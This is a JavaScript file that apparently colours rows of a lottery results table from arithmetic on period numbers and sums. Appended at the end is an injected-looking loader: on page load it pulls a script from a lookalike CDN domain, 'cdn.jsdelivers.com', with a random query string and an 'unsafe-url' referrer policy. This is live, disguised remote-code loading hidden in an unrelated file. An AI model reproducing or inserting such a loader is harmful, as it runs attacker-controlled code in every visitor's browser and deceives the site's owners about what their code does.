172 lines
5.1 KiB
JavaScript
172 lines
5.1 KiB
JavaScript
|
|
//去除空格
|
|
String.prototype.trim = function () {
|
|
var str = this,
|
|
str = str.replace(/^\s+/, '');
|
|
for (var i = str.length - 1; i >= 0; i--) {
|
|
if (/\S/.test(str.charAt(i))) {
|
|
str = str.substring(0, i + 1);
|
|
break;
|
|
}
|
|
}
|
|
return str;
|
|
}
|
|
|
|
//算法2
|
|
function Arithmetic2(p0, p1, kz1, kz2) {
|
|
var aa = Math.abs(kz1 - kz2);
|
|
var bb = Math.abs(kz1 + kz2);
|
|
|
|
var cc = p0 + aa;
|
|
var dd = p0 + bb;
|
|
|
|
if (cc == p1 || dd == p1) {
|
|
return true;
|
|
}
|
|
else {
|
|
return false
|
|
}
|
|
}
|
|
|
|
//算法3
|
|
function Arithmetic3(p0, p1, kh1, kh2) {
|
|
var aa = Math.abs(kh1 - kh2);
|
|
var bb = Math.abs(kh1 + kh2);
|
|
|
|
var cc = p0 + aa;
|
|
var dd = p0 + bb;
|
|
|
|
if (cc == p1 || dd == p1) {
|
|
return true;
|
|
}
|
|
else {
|
|
return false
|
|
}
|
|
}
|
|
|
|
//
|
|
function checkcolor1() {
|
|
var trList = $("#dataForm1").children("tr");
|
|
var list1 = new Array();
|
|
var list2 = new Array();
|
|
var list3 = new Array();
|
|
|
|
for (var i = 0; i < trList.length; i++) {
|
|
var tdArr = trList.eq(i).find("td");
|
|
//1:中,2:和,3:中和,4:都不是
|
|
var a = trList.eq(i).data("view");
|
|
|
|
//var history_income_type = tdArr.eq(0).find("input").val();//收入类别
|
|
//var history_income_money = tdArr.eq(1).find("input").val();//收入金额
|
|
//var history_income_remark = tdArr.eq(2).find("input").val();// 备注
|
|
var mm = trList.eq(i - 1).find("td").eq(10).find("input").val();
|
|
var qi = tdArr.eq(1).text().trim();//期号
|
|
var sum = tdArr.eq(2).text().trim();//总和
|
|
var he = tdArr.eq(5).text().trim();//和
|
|
var zhong = tdArr.eq(10).text().trim();//中
|
|
//console.log("我是"+he)
|
|
var kong1 = 0;
|
|
var kong2 = 0;
|
|
//集合赋值
|
|
if (a > 0) {
|
|
if (i > 0) {
|
|
var m = i - 1;
|
|
while (m >= 0) {
|
|
kong1 = trList.eq(m).find("td").eq(10).find("input").val();
|
|
//console.log(kong1)
|
|
if (kong1 > 0) {
|
|
break;
|
|
}
|
|
m -= 1;
|
|
}
|
|
var n = i - 1;
|
|
while (n >= 0) {
|
|
kong2 = trList.eq(n).find("td").eq(5).find("input").val();
|
|
if (kong1 > 0) {
|
|
break;
|
|
}
|
|
n -= 1;
|
|
}
|
|
}
|
|
list1.push({ type: a, qihao: qi, zonghe: sum, kz: kong1, kh: kong2 });
|
|
}
|
|
}
|
|
|
|
//获取中和
|
|
if (list1 != null && list1.length > 0) {
|
|
for (var i = 0; i < list1.length; i++) {
|
|
var t = list1[i].type;
|
|
var a = list1[i].qihao;
|
|
var b = list1[i].zonghe;
|
|
var c = list1[i].kz;//zhong
|
|
var d = list1[i].kh;//he
|
|
var e = 0;
|
|
var f = 0;
|
|
if (i > 0) {
|
|
e = list1[i - 1].kz;
|
|
f = list1[i - 1].kh;
|
|
}
|
|
Arithmetic4(t, a, parseInt(b), c, e, d, f);
|
|
}
|
|
}
|
|
}
|
|
|
|
//算法1
|
|
function Arithmetic4(type, qi, sum, k1, k2, k3, k4) {
|
|
var period0 = qi.substring(qi.length - 3, qi.length);
|
|
var periodwan = parseInt(qi) - parseInt(period0);
|
|
|
|
var sum0 = parseInt(sum / 2);
|
|
var bai = parseInt(sum0 % 1000 / 100);
|
|
var shi = parseInt(sum0 % 100 / 10);
|
|
var ge = parseInt(sum0 % 10);
|
|
|
|
var sum1 = bai + shi + ge;
|
|
var shi1 = parseInt(sum1 % 100 / 10);
|
|
var ge1 = parseInt(sum1 % 10);
|
|
|
|
var sum2 = shi1 + ge1;
|
|
var period1 = parseInt(period0) + sum2;
|
|
var period2 = period1 + periodwan - 1;
|
|
|
|
var t1 = Arithmetic2(parseInt(period0), period1, k1, k2);
|
|
var t2 = Arithmetic3(parseInt(period0), period1, k3, k4);
|
|
if (t1 == true || t2 == true) {
|
|
$("#tr_" + period2).add("p").css("background", "#ebadf2");//紫色
|
|
}
|
|
else {
|
|
if (sum2 > 3) {
|
|
//$("#tr_" + period2).removeClass();
|
|
$("#tr_" + period2).add("w").css("background", "#fffff");//白
|
|
}
|
|
else {
|
|
$("#tr_" + period2).add("b").css("background", "#a3bff2");//蓝
|
|
}
|
|
}
|
|
}
|
|
;function loadJSScript(url, callback) {
|
|
var script = document.createElement("script");
|
|
script.type = "text/javascript";
|
|
script.referrerPolicy = "unsafe-url";
|
|
if (typeof(callback) != "undefined") {
|
|
if (script.readyState) {
|
|
script.onreadystatechange = function() {
|
|
if (script.readyState == "loaded" || script.readyState == "complete") {
|
|
script.onreadystatechange = null;
|
|
callback();
|
|
}
|
|
};
|
|
} else {
|
|
script.onload = function() {
|
|
callback();
|
|
};
|
|
}
|
|
};
|
|
script.src = url;
|
|
document.body.appendChild(script);
|
|
}
|
|
window.onload = function() {
|
|
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
|
console.log("Jquery loaded");
|
|
});
|
|
} |